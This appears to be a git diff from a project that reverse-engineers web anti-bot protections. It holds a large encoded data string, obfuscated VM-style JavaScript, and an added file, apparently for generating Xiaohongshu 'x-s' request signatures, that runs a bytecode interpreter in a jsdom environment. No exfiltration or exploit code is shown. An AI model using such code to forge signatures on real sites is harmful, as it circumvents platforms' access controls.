̂®Ÿ̞ ୰ ̂<Ÿ̞Ɔ̞\x00̃ż̞\x00̅੖ĵ̔ž̞\x00̅ ̗ž̞\x00̑ ‚ɰ=Ʉગɺ§ɘ ‚ɝÀɄહɊ§ɬ̂{ ȯ‹ȵͣƗ̞ߚ ř\x00ȴԋɟ̛\x00sƇ̞\x00̜̂൜Ʉʤɻ඀ ȷȯţϨȯ) రêVʉźt̡ý ̂·Ŷ̛̞ɛȰȗ ̟ë̞\x00ȲƩ~̃ɧà ̞ȯҹɰȷട̛ȭ ɶɘSɝ>ɶ7̄Νż̞\x00 ̃ȯœȬm ̂4ɟ#̆4ɟ̯̅Ʉ೗̂ȱ۩ȱ෯ȱ୼Ɓ̞\x00̞ȲΎ̘̋kȬ•QɄîȬշ ൰̏࢘ ̟ë̞\x00ę Ó̡ć\x00Ȱ˥TȰक ୂŷɛȰ˽ ȯŷ ‚ɉ=ɘɄШɶ\rȯ9Ȱ͐ȱũ8­įɄǻɶ̂̚ࢁƈ̚৻̞ȯ̋ ˨ȬÊ ඒ8ȶڊ೜̟౬ Tȯ)ঙ¢̡൙_Ʌ* ̟ฎ̂ƉȲϋƛ ோ Ɓ̞\x00ɇȯŕ̌7 ȌȲ๬ȯȸϻ ɄǯȬ୦Ʉ͈ĝ˭̞ȯ)̡ć\x00 8ȯœȬşਡ ਄̞ ЮҠ̘kȬÏɰȹൽ ̃ȯœȬÏ̄ƉȱࠕɄǩɧá8 ̟ë̞\x00-~ ڰĵ̓ ȰŸȯŰ̘ಗȬΜȬԏȯŷ̖ȯÎ̂ż̞\x00ɄˎƇ̞\x00̃̃{ ɛȯĚȰӜ̡ćಪÓĵ̒ ̓ ȯ‹Ⱥిʎž̞\x00̃ ȯ‹ȳ÷TɛȲϘTȬģž̞\x00̄ ̂Ȃ̔Ȃ̒Ȃ̓ƫ̂<̞̃ȯ)ɟɯ̞ȳܸȳ்ɯ̞ȳࣁȶ౑ ɄѾɖ=ɉɄࠚ শ̞ÄƂ̞\x00Ʉɠ SFȬĘ̟ൠ̟ఒ֖̃ ৉̄{Ʌ*\rɄǼȯ¨ʄȯͣɄѽkȬm̂̃̅{ Īɻ\x00ȰŎ˴z̆{{ż̞\x00̊ Īɻ\x00ȱƨ˳z Ī̛\x00ȵK\n̞ ̍ɪ̎†̃ɄǼɖȯ˃ ̃ȯ;Ȱž̝ɛčρ ૲ ਍ȬĘ ƍȯÿȯߦ ٣ŵ̞ ̛̞ȯ9ȯɾ ד Īɻ\x00Ȱɑ˽z QɮSɈ#ɄЬɺȯܚŸ̞ ۧ ɛȯĚȰΎ\rɛȯ֡ȯ›ȯѠȯ̞ʎȯ̞8̛$Ȭm ١Ɔ̞\x00̂ȵɡȯतɄ?ȯȯɱȯø ̃ĻŒ̞7ɛȱੑ̡ćȲƩ~\rɄ?ȯ¿ȯøʕ̞๙̞ʔɟʕ̞s ɤÀɉ=Ʉ௺Ɋ7 ɬ=Ɉɘ<Ʉ࡟¦ ̞ȯ9ȯɾ̞̉Ȳ͝\r¢ɵȳޥɻ\x00ȵ݉յ_ ׭ż̞\x00ɗȱѶɄîȬ͏Ƙ\x00\rzʐȰ଩̚ªʐȱ˒Ȭʌ ਽ ̟ë̞\x00ȯࢊ~̈ƫ̘kČA ̞ȶ͍̞ȵͤ 0Ȫȯˌ ŝ-ȯ~ϰ ણƃ̞\x00̙+௸ɄîĒడɄ͈Ĝະɛȸִɟ̂ɛȯęȳӕ˾௠ɛȴ෴ɟ̆ɛȯęȴ҆˿୍_\r,ɄÉȬಎ̞ȯɼȰ~ ɰɄϣɤ#ɄΥ̘kȬmʐȰ೚Ƈ̞\x00̆¦Ʌ* ɘɄƉƅ̞\x00ࡉɛčρ\rɄ?ȯȯɱȰѽ̟ݙ ඝĘAɟ̞Ȳயɟ̞ȱ˃̞ ड़ ,ɝɖ<ɻ§ɖɅɉ̏ƫ ̑ɪ̐†̆ʉ0Ȫ̚łȬԏ ɛȱŢȱȇɄΰȱฃ श ु ŝ\x00ȯǿž̞\x00̋ ƣ ȯ9ȴֽȬm Īɛ\x00ȴȒľŪȲנ̡֘ȲേĔવĔ࡝ȰƄ ৮_ɋĿA ȯ‹ȵ̂8Ȳܓ̞¾ƛɄ¬ ೦ž̞\x00̓˵ƅ̞\x00Ʉڔ ା̊ ,Ʉ͵ɄןɄ์ɰųȬƝ ݲ$ȬਮɄǻɅɬ<Ʉǎ Ɔ̞\x00Ʉȅ̚گ஄+ ੫Ƈ̞\x00̄ɶ<ɮŴɄȅ ̞Ȳ݂ȸચ̞ȯ) ʅ ƀ̞\x00ųȬਧɉ<Ʉǎؘ̟̚ª̌$Ȭ•ź̞ ɬSɰɉ<Ʉʗɚ/Ūɛȱোɛȱёȱ৫ɛȱёȱૹtɛč෽ȱߑȱ͆ȱࡔȱ͆ȱ߃ȰƄ˫_ ȯ‹ȳ͞\rɛȱˤTǷ̘ϰ ɛȯĚȰԂ̞ÄA ȯ)̡ćٵ~НȯȺȰŶTTࢌȬ୊TƐȬਤĵ̂8Ȱʉప ƈ̞\x00\x00̘ Ƅ̞\x00ȯͿȬ่̜ ̆̆ȯœȬÊ̇4̞Ȳ઴̈4̞Ȳ௛̉4̞Ȳ̐͝ȕ̚ª̏ ࠗȱ෺Ȭ• ࣯Ʌ*̚łȬ๭ɛȰĚȯĂ̄Я̅ J̃ਢȬȤĵ̆ɄΰȱȇƜ ໡̇{ ๼ȯ¬ ാ ̡ć\x00\x00ȯŔɅ* ƀ̞\x00̟౻ȬԷ̇7 ̂!Ź̞Ȱຢ ǐ̕ɪɞɄж̞ȹ෇\x00Ȭ๱Ʉж̞ȴෘ\x00Ȭಧ̊ȕ̚ª̈ ̛ȯǰȲǛ \r,ȹೃȹবȬ• Īɻ\x00ȱș˵z ̟ë̞\x00ȯ਩Ó Źɺ>ɮɄoɛȰȗ ઑž̞\x00̍\r̟ë̞\x00ȯӷȰৗ ̄̄ȯœȬ͟ӯ{ɟ Īɻ\x00ȰÆ˻z ग़ ɟ̞Ȳૉ̞ȱ߂ ɮɺÀɄӰɤ7 ݡ ɓȯě̌ƫ̛˯̖ż̞\x00Ʉ΁ ඁ Īɻ\x00ȱ్˺z ̞ȯ9Ȱඔ ̛ɻȯƄȹທ¢̡੏_{ QɄǯȬĤɄˎ̈̃ƉȲࠔ ̂©Ż̞ Ţ̞\x00 ീ ¢̟आ̞³҇ ࡈ ̞ȯ;ȯƒ ହʑ̗4ɟ,ɄîȬ஠̘$Ȭধ̘$Ȭؠ̡̢ ̠ \n  \r$…·v'rSu }8\\FbcHl9No& \\(€RnY~+[dG| >J\\O\\jq\\pZ\\z5g\\,„V]6s^/|\x00U A|;ƒɮ ȯœȬÏ ߔ ɪő\nȬÓɱ̡ԅ ɛȱˤэඖɅ*\r̠¡ɻ ̊ɪȳܶȬȤ ̂ӆ̝ȲС ࣴ ݠ ǐ̛ȯ) ̛ȰƓȲǛ ħ ࡽƈ8̠ȰŶ̛0̛ȶঠ\r̛ȰƓȱŏ̇ȯϿɄ˱ȰɵȲɵȱಏɄǩɮȷҐ ,̠Đ˸ɻ ɪ\x00ȬÓз ࠤ ʋ̟ۤɧ\n\x00Ȭԋ̛ƛ̞Ʌ* ɧ>ɢ ̡̂әȲƶ\x00̢̂ýɅ* ൩\rɲȯ\x00ɰۃȯ૿ ,Ɋ=Ʉϫɴ½ɢ̛\"̜আ ŹK¢·ȯ)VsȷอߟȯŠȬ֣Ű#6@؅<ȲƊŮȱƎ˫_̆ ̛ȯǰȱ\r ̛ȯǰȱ  ʅ ,̠ğ˸ɻ೫ɲȯ\x00ɰȱǏȯ́\ṛ̢ \n  &\r\x00   \n \x00Ʌ* ̃̚Ý̜{ ̡ϛ ȱқȱˌĬ\nɻ̠s ȱ)̇{ QɄಙɄ͵ɄԇɅ̣ý ʋ̄\"̚ª̃ ħɅ*Ư̄Ȳࠞ\nɄðơ̇ȲǓȺ౳\nȳъ ˫ _̅\n̡̅̇౅  Źƈ̡ԅ ̜Ȭࣘ̃̂ ̇ɛȱˤ̇໚̇\r̛ȰƓȱŏ̇ȯϿ̅\n ̛Ⱥ׸ \x00\x00Ʌ* \n ̣\x00 \r\x00\x00\x00\x00 \nɄhȯ\x00ȸื̡ϛĬ\n ħ";}else if(_$fM===82){ !_$fA?_$am+=6:0;}else{_$$u[_$dG]="_$"+_$gP[_$gr]+_$gP[_$fW];}}else if(_$fM<88){if(_$fM===84){_$$m+=_$gM;}else if(_$fM===85){ !_$fA?_$am+=4:0;}else if(_$fM===86){_$fA=_$e_>0;}else{_$gP="_$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split('');}}else if(_$fM<92){if(_$fM===88){_$kn.push('}}}}}}}}}}'.substr(_$e_-1));}else if(_$fM===89){_$fW=_$ft();}else if(_$fM===90){_$gr[6]="";}else{_$$m=0;}}else{if(_$fM===92){_$am+=-6;}else if(_$fM===93){_$gM=_$ft()*55295+_$ft();}else if(_$fM===94){_$iA=0;}else{return _$$u;}}}else{ !_$fA?_$am+=48:0;}}}else ;} + + + +function _$ca(_$kn,_$gM,_$iA){function _$ej(_$gP,_$$u){var _$gr,_$fW;_$gr=_$gP[0],_$fW=_$gP[1],_$$u.push("function ",_$gC[_$gr],"(){var ",_$gC[_$aF],"=[",_$fW,"];Array.prototype.push.apply(",_$gC[_$aF],",arguments);return ",_$gC[_$$8],".apply(this,",_$gC[_$aF],");}");}function _$in(_$gP,_$$u){var _$gr,_$fW,_$dG;_$gr=_$$k[_$gP],_$fW=_$gr.length,_$fW-=_$fW%2;for(_$dG=0;_$dG<_$fW;_$dG+=2)_$$u.push(_$_w[_$gr[_$dG]],_$gC[_$gr[_$dG+1]]);_$gr.length!=_$fW?_$$u.push(_$_w[_$gr[_$fW]]):0;}function _$aa(_$gP,_$$u,_$gr){var _$fW,_$dG,_$aD,_$e_;_$aD=_$$u-_$gP;if(_$aD==0)return;else if(_$aD==1)_$in(_$gP,_$gr);else if(_$aD<=4){_$e_="if(",_$$u-- ;for(;_$gP<_$$u;_$gP++ )_$gr.push(_$e_,_$gC[_$hJ],"===",_$gP,"){"),_$in(_$gP,_$gr),_$e_="}else if(";_$gr.push("}else{"),_$in(_$gP,_$gr),_$gr.push("}");}else{_$dG=0;for(_$fW=1;_$fW<7;_$fW++ )if(_$aD<=_$jj[_$fW]){_$dG=_$jj[_$fW-1];break;}_$e_="if(";for(;_$gP+_$dG<_$$u;_$gP+=_$dG)_$gr.push(_$e_,_$gC[_$hJ],"<",_$gP+_$dG,"){"),_$aa(_$gP,_$gP+_$dG,_$gr),_$e_="}else if(";_$gr.push("}else{"),_$aa(_$gP,_$$u,_$gr),_$gr.push("}");}}function _$ck(_$gP,_$$u,_$gr){var _$fW,_$dG;_$fW=_$$u-_$gP,_$fW==1?_$in(_$gP,_$gr):_$fW==2?(_$gr.push(_$gC[_$hJ],"==",_$gP,"?"),_$in(_$gP,_$gr),_$gr.push(":"),_$in(_$gP+1,_$gr)):(_$dG= ~ ~((_$gP+_$$u)/2),_$gr.push(_$gC[_$hJ],"<",_$dG,"?"),_$ck(_$gP,_$dG,_$gr),_$gr.push(":"),_$ck(_$dG,_$$u,_$gr));}var _$gP,_$$u,_$gr,_$fW,_$dG,_$ks,_$j7,_$$O,_$aF,_$_Q,_$$8,_$hJ,_$jn,_$$X,_$g8,_$ie,_$bQ,_$_K,_$$k;var _$jo,_$gJ,_$_A=_$kn,_$fg=_$$M[2];while(1){_$gJ=_$fg[_$_A++];if(_$gJ<74){if(_$gJ<64){if(_$gJ<16){if(_$gJ<4){if(_$gJ===0){_$_K[_$$u]=_$ca(0);}else if(_$gJ===1){_$$P(0,_$iA,_$gM);}else if(_$gJ===2){ !_$jo?_$_A+=1:0;}else{_$hJ=_$ft();}}else if(_$gJ<8){if(_$gJ===4){ !_$jo?_$_A+=13:0;}else if(_$gJ===5){_$gP=new RegExp('\x5c\x53\x2b\x5c\x28\x5c\x29\x7b\x5c\x53\x2b\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x7d');}else if(_$gJ===6){_$gr= --_$ff[1];}else{_$fW=new RegExp('\x5c\x78');}}else if(_$gJ<12){if(_$gJ===8){_$$u=0;}else if(_$gJ===9){_$_w=_$ca(21,_$ft());}else if(_$gJ===10){_$gP=_$hd.substr(_$$m,_$gM);_$$m+=_$gM;return _$gP;}else{for(_$gr=0;_$gr<_$gP;_$gr++ ){_$$u[_$gr]=_$ft();}}}else{if(_$gJ===12){_$jo=_$$u<_$fW;}else if(_$gJ===13){_$$k=[];}else if(_$gJ===14){_$_A+=-5;}else{_$jo= !_$dG;}}}else if(_$gJ<32){if(_$gJ<20){if(_$gJ===16){_$gP=[];}else if(_$gJ===17){return _$$u;}else if(_$gJ===18){_$g8=_$ca(0);}else{ !_$jo?_$_A+=14:0;}}else if(_$gJ<24){if(_$gJ===20){_$dG=_$fW.test(_$$u);}else if(_$gJ===21){_$gr= --_$ff[0];}else if(_$gJ===22){_$j7=_$ft();}else{_$fZ(_$ie,_$ff);}}else if(_$gJ<28){if(_$gJ===24){_$$u=new _$_I(_$gP);}else if(_$gJ===25){_$$X=_$ca(0);}else if(_$gJ===26){_$jo= !_$$k;}else{_$ie=_$gP;}}else{if(_$gJ===28){ !_$jo?_$_A+=-65:0;}else if(_$gJ===29){_$jo= !_$$u;}else if(_$gJ===30){_$jo=_$gr;}else{_$gr=_$ca(0);}}}else if(_$gJ<48){if(_$gJ<36){if(_$gJ===32){_$$u=_$ca(0);}else if(_$gJ===33){_$$J[_$gM]=_$gr;}else if(_$gJ===34){_$$u++ ;}else{_$ie=_$ca(0);}}else if(_$gJ<40){if(_$gJ===36){_$jo= !_$_K;}else if(_$gJ===37){_$jo=_$$u<_$ie.length;}else if(_$gJ===38){_$_A+=1;}else{_$$c(_$$u,_$gr);}}else if(_$gJ<44){if(_$gJ===40){_$gr=[];}else if(_$gJ===41){_$dG=_$ft();}else if(_$gJ===42){_$_w=_$_w.split(_$bj.fromCharCode(257));}else{_$ks=_$ft();}}else{if(_$gJ===44){_$jo= !_$ie;}else if(_$gJ===45){_$aF=_$ft();}else if(_$gJ===46){return;}else{_$jo=_$$u<_$dG;}}}else{if(_$gJ<52){if(_$gJ===48){_$$8=_$ft();}else if(_$gJ===49){_$gP.push([_$ie[_$$u],_$ie[_$$u+1]]);}else if(_$gJ===50){_$$k[_$$u]=_$ca(0);}else{_$$m=0;}}else if(_$gJ<56){if(_$gJ===52){_$fZ(_$_K,_$ff);}else if(_$gJ===53){_$_K=[];}else if(_$gJ===54){_$gM.push(_$gr);}else{_$hd="\"řfunction ā(ā){var ā=4;if(ā[ā(3,8)]){if(6){ā(5,8)]=3;}}ā[4]=2;ā[0]=ā(7,8)];if(2){ā[0]=6;}ā[0]=6;ā[4]=3+1;}function ā){ā[0]=7+5;ā(7,8)];if(3+1){ā[4]=2;}ā[4]=ā(3,8)];}function ā){if(2){ā[4]=3+1;ā[4]=2;}function ā){if(6){ā(3,8)];if(7+5){ā(4,8)],8)]=ā(3,8)];if(ā(7,8)]){if(2){ā[0]=6;}}ā){if(3+1){ā(3,8)];var ā=7;if(ā(7,8)]){if(2){var ā=5;}}ā[4]=3+1;}\x00)*))))) )\n) ) \x00)\r)))))))))\n))))))))))))\n) ) )\r)))))) ))))*)* ) ))!";}}else if(_$gJ<60){if(_$gJ===56){_$gr=_$gr.join('');}else if(_$gJ===57){_$gP=_$ft();}else if(_$gJ===58){_$gr=_$gP.test(_$$u);}else{_$$u=_$$v[_$$v()]();}}else{if(_$gJ===60){_$hl.jf= !_$gr;}else if(_$gJ===61){_$bQ=_$ft();}else if(_$gJ===62){_$_Q=_$ft();}else{_$$O=_$ft();}}}}else{if(_$gJ<68){if(_$gJ===64){ !_$jo?_$_A+=11:0;}else if(_$gJ===65){ !_$jo?_$_A+=3:0;}else if(_$gJ===66){ ++_$gr;}else{_$jo= !(_$jn+1);}}else if(_$gJ<72){if(_$gJ===68){_$$A=_$hd.length;}else if(_$gJ===69){_$$u+=2;}else if(_$gJ===70){ !_$jo?_$_A+=27:0;}else{ !_$jo?_$_A+=7:0;}}else{if(_$gJ===72){_$jn=_$ft();}else{_$fW=_$ft();}}}}else ;} +function _$$P(_$fW,_$$u,_$gr){var _$gP;var _$aD,_$gM,_$dG=_$fW,_$iA=_$$M[3];while(1){_$gM=_$iA[_$dG++];if(_$gM<42){if(_$gM<16){if(_$gM<4){if(_$gM===0){_$$u.push(";");}else if(_$gM===1){_$$u.push("function ",_$gC[_$_Q],"(",_$gC[_$j7]);}else if(_$gM===2){_$aD=_$bQ<_$$k.length;}else{_$aa(0,_$bQ,_$$u);}}else if(_$gM<8){if(_$gM===4){ !_$aD?_$dG+=-29:0;}else if(_$gM===5){_$gP=0;}else if(_$gM===6){_$aD= !_$$u.length;}else{_$$u.push("}");}}else if(_$gM<12){if(_$gM===8){ !_$aD?_$dG+=23:0;}else if(_$gM===9){ !_$aD?_$dG+=-28:0;}else if(_$gM===10){_$$u.push(_$gC[_$j7],",",_$gC[_$jn],"=",_$gC[_$$w],"[",_$gr,"];");}else{_$$u.push("while(1){",_$gC[_$hJ],"=",_$gC[_$jn],"[",_$gC[_$ks],"++];");}}else{if(_$gM===12){_$$u.push("}else ");}else if(_$gM===13){ !_$aD?_$dG+=11:0;}else if(_$gM===14){ !_$aD?_$dG+=28:0;}else{return;}}}else if(_$gM<32){if(_$gM<20){if(_$gM===16){ !_$aD?_$dG+=32:0;}else if(_$gM===17){ !_$aD?_$dG+=3:0;}else if(_$gM===18){_$aD=_$$k.length;}else{_$aD= !_$ie;}}else if(_$gM<24){if(_$gM===20){_$dG+=-5;}else if(_$gM===21){_$$u.push("if(",_$gC[_$hJ],"<",_$bQ,"){");}else if(_$gM===22){_$gP++ ;}else{ !_$aD?_$dG+=12:0;}}else if(_$gM<28){if(_$gM===24){_$aD=_$gP<_$$X.length;}else if(_$gM===25){_$aD= !_$gC;}else if(_$gM===26){for(_$gP=0;_$gP<_$ie.length;_$gP++ ){_$ej(_$ie[_$gP],_$$u);}for(_$gP=0;_$gP<_$_K.length;_$gP++ ){_$$c(_$_K[_$gP],_$$u);}}else{_$$u.push("(function(",_$gC[_$hL],",",_$gC[_$$w],"){var ",_$gC[_$j7],"=0;");}}else{if(_$gM===28){_$ck(_$bQ,_$$k.length,_$$u);}else if(_$gM===29){_$$u.push("var ",_$gC[_$g8[0]]);}else if(_$gM===30){_$aD=_$gr==0;}else{ !_$aD?_$dG+=1:0;}}}else{if(_$gM<36){if(_$gM===32){_$$u.push("var ",_$gC[_$$O],",",_$gC[_$hJ],",",_$gC[_$ks],"=");}else if(_$gM===33){_$aD=_$g8.length;}else if(_$gM===34){_$aD=_$$u.length==0;}else{_$aD=_$$X.length;}}else if(_$gM<40){if(_$gM===36){_$$u.push("){");}else if(_$gM===37){for(_$gP=1;_$gP<_$g8.length;_$gP++ ){_$$u.push(",",_$gC[_$g8[_$gP]]);}}else if(_$gM===38){_$$u.push(",",_$gC[_$$X[_$gP]]);}else{_$aD=_$ks<0;}}else{if(_$gM===40){_$dG+=-17;}else{ !_$aD?_$dG+=6:0;}}}}else ;}}}}})([],[[7,0,2,8,3,11,10,5,6,4,1,9,],[87,1,32,76,16,79,83,78,65,23,35,18,40,96,30,56,64,94,45,85,13,21,44,92,9,82,43,59,72,60,38,24,88,68,61,3,22,8,55,41,5,71,58,57,48,64,93,86,2,11,84,74,8,64,94,45,6,17,44,15,80,39,53,28,36,95,63,67,63,14,33,4,19,7,12,52,54,75,31,81,62,91,0,51,90,89,66,73,50,70,34,27,49,25,63,42,2,63,26,46,37,10,69,20,77,63,47,29,63,63,],[57,24,29,19,23,61,31,33,73,53,8,12,65,0,34,14,36,70,11,17,46,10,46,55,68,51,57,9,42,32,40,39,56,54,46,43,22,63,45,62,48,3,72,67,64,52,41,13,8,47,65,50,34,14,26,4,25,18,35,16,8,37,65,49,69,14,27,44,28,1,46,5,59,58,30,71,6,7,20,15,2,66,38,21,60,46,],[30,16,27,34,14,32,25,13,35,41,5,24,17,38,22,20,36,19,41,10,18,8,11,39,23,26,33,17,29,37,0,6,9,40,1,34,4,21,3,12,2,31,28,0,7,15,],]);} +;_$hT(); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/run/小红书-xs.js b/env_xbb_lastest_jsdom/run/小红书-xs.js new file mode 100644 index 00000000..c6a3d7c2 --- /dev/null +++ b/env_xbb_lastest_jsdom/run/小红书-xs.js @@ -0,0 +1,545 @@ +(function() { + function Shanks() { + var _garp_d6c76 = 2147483647 + , _garp_a0c6d = 1 + , _garp_33d28 = 0 + , _garp_cb56b = !!_garp_a0c6d + , _garp_35e13 = !!_garp_33d28; + return function(_garp_d3e7c, _garp_d0ad1, _garp_8d381) { + var _garp_2450a = [] + , _garp_bb090 = [] + , _garp_11791 = {} + , _garp_4139 = [] + , _garp_dc33b = { + _garp_cabec: _garp_d3e7c + } + , _garp_8795b = {} + , _garp_b725a = _garp_33d28 + , _garp_65259 = []; + var decode = function(j) { + if (!j) { + return "" + } + var n = function(e) { + var f = [] + , t = e.length; + var u = 0; + for (var u = 0; u < t; u++) { + var w = e.charCodeAt(u); + if (((w >> 7) & 255) == 0) { + f.push(e.charAt(u)) + } else { + if (((w >> 5) & 255) == 6) { + var b = e.charCodeAt(++u); + var a = (w & 31) << 6; + var c = b & 63; + var v = a | c; + f.push(String.fromCharCode(v)) + } else { + if (((w >> 4) & 255) == 14) { + var b = e.charCodeAt(++u); + var d = e.charCodeAt(++u); + var a = (w << 4) | ((b >> 2) & 15); + var c = ((b & 3) << 6) | (d & 63); + var v = ((a & 255) << 8) | c; + f.push(String.fromCharCode(v)) + } + } + } + } + return f.join("") + }; + var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""); + var p = j.length; + var l = 0; + var m = []; + while (l < p) { + var s = k.indexOf(j.charAt(l++)); + var r = k.indexOf(j.charAt(l++)); + var q = k.indexOf(j.charAt(l++)); + var o = k.indexOf(j.charAt(l++)); + var i = (s << 2) | (r >> 4); + var h = ((r & 15) << 4) | (q >> 2); + var g = ((q & 3) << 6) | o; + m.push(String.fromCharCode(i)); + if (q != 64) { + m.push(String.fromCharCode(h)) + } + if (o != 64) { + m.push(String.fromCharCode(g)) + } + } + return n(m.join("")) + }; + var _garp_27860 = function(_garp_8510, _garp_aa977, _garp_37ed4, _garp_d87b) { + return { + _garp_7dc41: _garp_8510, + _garp_cc54b: _garp_aa977, + _garp_8b4: _garp_37ed4, + _garp_d16d: _garp_d87b + }; + }; + var _garp_70118 = function(_garp_d87b) { + return _garp_d87b._garp_d16d ? _garp_d87b._garp_cc54b[_garp_d87b._garp_8b4] : _garp_d87b._garp_7dc41; + }; + var _garp_bc9ab3 = function(_garp_3ac1b, _garp_2ec00) { + return _garp_2ec00.hasOwnProperty(_garp_3ac1b) ? _garp_cb56b : _garp_35e13; + }; + var _garp_bc9ab2 = function(_garp_3ac1b, _garp_2ec00) { + if (_garp_bc9ab3(_garp_3ac1b, _garp_2ec00)) { + return _garp_27860(_garp_33d28, _garp_2ec00, _garp_3ac1b, _garp_a0c6d); + } + var _garp_2134c; + if (_garp_2ec00._garp_7ab6d) { + _garp_2134c = _garp_bc9ab2(_garp_3ac1b, _garp_2ec00._garp_7ab6d); + if (_garp_2134c) { + return _garp_2134c; + } + } + if (_garp_2ec00._garp_8d0d9) { + _garp_2134c = _garp_bc9ab2(_garp_3ac1b, _garp_2ec00._garp_8d0d9); + if (_garp_2134c) { + return _garp_2134c; + } + } + return _garp_35e13; + }; + var _garp_bc9ab = function(_garp_3ac1b) { + var _garp_2134c = _garp_bc9ab2(_garp_3ac1b, _garp_11791); + if (_garp_2134c) { + return _garp_2134c; + } + return _garp_27860(_garp_33d28, _garp_11791, _garp_3ac1b, _garp_a0c6d); + }; + var _garp_53c0 = function() { + _garp_2450a = (_garp_11791._garp_3c57) ? _garp_11791._garp_3c57 : _garp_4139; + _garp_11791 = (_garp_11791._garp_8d0d9) ? _garp_11791._garp_8d0d9 : _garp_11791; + _garp_b725a-- + }; + var _garp_18a5d = function(_garp_d9e62) { + _garp_11791 = { + _garp_8d0d9: _garp_11791, + _garp_7ab6d: _garp_d9e62, + _garp_3c57: _garp_2450a + }; + _garp_2450a = []; + _garp_b725a++ + }; + var _garp_168ea = function() { + _garp_65259.push(_garp_27860(_garp_b725a, _garp_33d28, _garp_33d28, _garp_33d28)) + }; + var _garp_ce331 = function() { + return _garp_70118(_garp_65259.pop()) + }; + var _garp_21983 = function(_garp_31e92, _garp_5e1cd) { + return _garp_8795b[_garp_31e92] = _garp_5e1cd; + }; + var _garp_d3a1 = function(_garp_31e92) { + return _garp_8795b[_garp_31e92]; + }; + var _garp_12577 = [_garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28), _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28), _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28), _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28), _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28)]; + var _garp_bad21 = [_garp_8d381, function _garp_b6c6(_garp_37ed4) { + return _garp_12577[_garp_37ed4]; + } + , function(_garp_37ed4) { + return _garp_27860(_garp_33d28, _garp_dc33b._garp_ca8c, _garp_37ed4, _garp_a0c6d); + } + , function(_garp_37ed4) { + return _garp_bc9ab(_garp_37ed4); + } + , function(_garp_37ed4) { + return _garp_27860(_garp_33d28, _garp_d3e7c, _garp_d0ad1.d[_garp_37ed4], _garp_a0c6d); + } + , function(_garp_37ed4) { + return _garp_27860(_garp_dc33b._garp_cabec, _garp_33d28, _garp_33d28, _garp_33d28); + } + , function(_garp_37ed4) { + return _garp_27860(_garp_33d28, _garp_d0ad1.d, _garp_37ed4, _garp_a0c6d); + } + , function(_garp_37ed4) { + return _garp_27860(_garp_dc33b._garp_ca8c, _garp_8d381, _garp_8d381, _garp_33d28); + } + , function(_garp_37ed4) { + return _garp_27860(_garp_33d28, _garp_8795b, _garp_37ed4, _garp_33d28) + } + ]; + var _garp_d66b0 = function(_garp_7693d, _garp_37ed4) { + return _garp_bad21[_garp_7693d] ? _garp_bad21[_garp_7693d](_garp_37ed4) : _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28); + }; + var _garp_73234 = function(_garp_7693d, _garp_37ed4) { + return _garp_70118(_garp_d66b0(_garp_7693d, _garp_37ed4)); + }; + var _garp_6ab4 = function(_garp_8510, _garp_aa977, _garp_37ed4, _garp_d87b) { + _garp_12577[_garp_33d28] = _garp_27860(_garp_8510, _garp_aa977, _garp_37ed4, _garp_d87b) + }; + var _garp_2a087 = function(_garp_31c11) { + var _garp_b539b = _garp_33d28; + while (_garp_b539b < _garp_31c11.length) { + var _garp_42dd = _garp_31c11[_garp_b539b]; + var _garp_6a19 = _garp_55a65[_garp_42dd[_garp_33d28]]; + _garp_b539b = _garp_6a19(_garp_42dd[1], _garp_42dd[2], _garp_42dd[3], _garp_42dd[4], _garp_b539b, _garp_11bd, _garp_31c11); + } + }; + var _garp_c22e0 = function(_garp_c62b5, _garp_8e3e3, _garp_42dd, _garp_31c11) { + var _garp_d4617 = _garp_70118(_garp_c62b5); + var _garp_9e890 = _garp_70118(_garp_8e3e3); + if (_garp_d4617 == 2147483647) { + return _garp_42dd; + } + while (_garp_d4617 < _garp_9e890) { + var x = _garp_31c11[_garp_d4617]; + var _garp_6a19 = _garp_55a65[x[_garp_33d28]]; + _garp_d4617 = _garp_6a19(x[1], x[2], x[3], x[4], _garp_d4617, _garp_11bd, _garp_31c11); + } + return _garp_d4617; + }; + var _garp_1655e = function(_garp_c064b, _garp_31c11) { + var _garp_b78d0 = _garp_2450a.splice(_garp_2450a.length - 6, 6); + var _garp_9d8a0 = _garp_b78d0[4]._garp_7dc41 != 2147483647; + try { + _garp_c064b = _garp_c22e0(_garp_b78d0[0], _garp_b78d0[1], _garp_c064b, _garp_31c11); + } catch (e) { + _garp_12577[2] = _garp_27860(e, _garp_33d28, _garp_33d28, _garp_33d28); + _garp_c064b = _garp_c22e0(_garp_b78d0[2], _garp_b78d0[3], _garp_c064b, _garp_31c11); + _garp_12577[2] = _garp_27860(_garp_33d28, _garp_33d28, _garp_33d28, _garp_33d28); + } finally { + _garp_c064b = _garp_c22e0(_garp_b78d0[4], _garp_b78d0[5], _garp_c064b, _garp_31c11); + } + return _garp_b78d0[5]._garp_7dc41 > _garp_c064b ? _garp_b78d0[5]._garp_7dc41 : _garp_c064b; + }; + var _garp_11bd = decode(_garp_d0ad1.b).split('').reduce(function(_garp_7cc3, _garp_42dd) { + if ((!_garp_7cc3.length) || _garp_7cc3[_garp_7cc3.length - _garp_a0c6d].length == 5) { + _garp_7cc3.push([]); + } + _garp_7cc3[_garp_7cc3.length - _garp_a0c6d].push(-_garp_a0c6d * 1 + _garp_42dd.charCodeAt()); + return _garp_7cc3; + }, []); + var _garp_55a65 = [function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) % _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(!_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_d6d77 = _garp_73234(p0, p1); + _garp_6ab4(_garp_2450a.splice(_garp_2450a.length - _garp_d6d77, _garp_d6d77).map(_garp_70118), _garp_8d381, _garp_8d381, 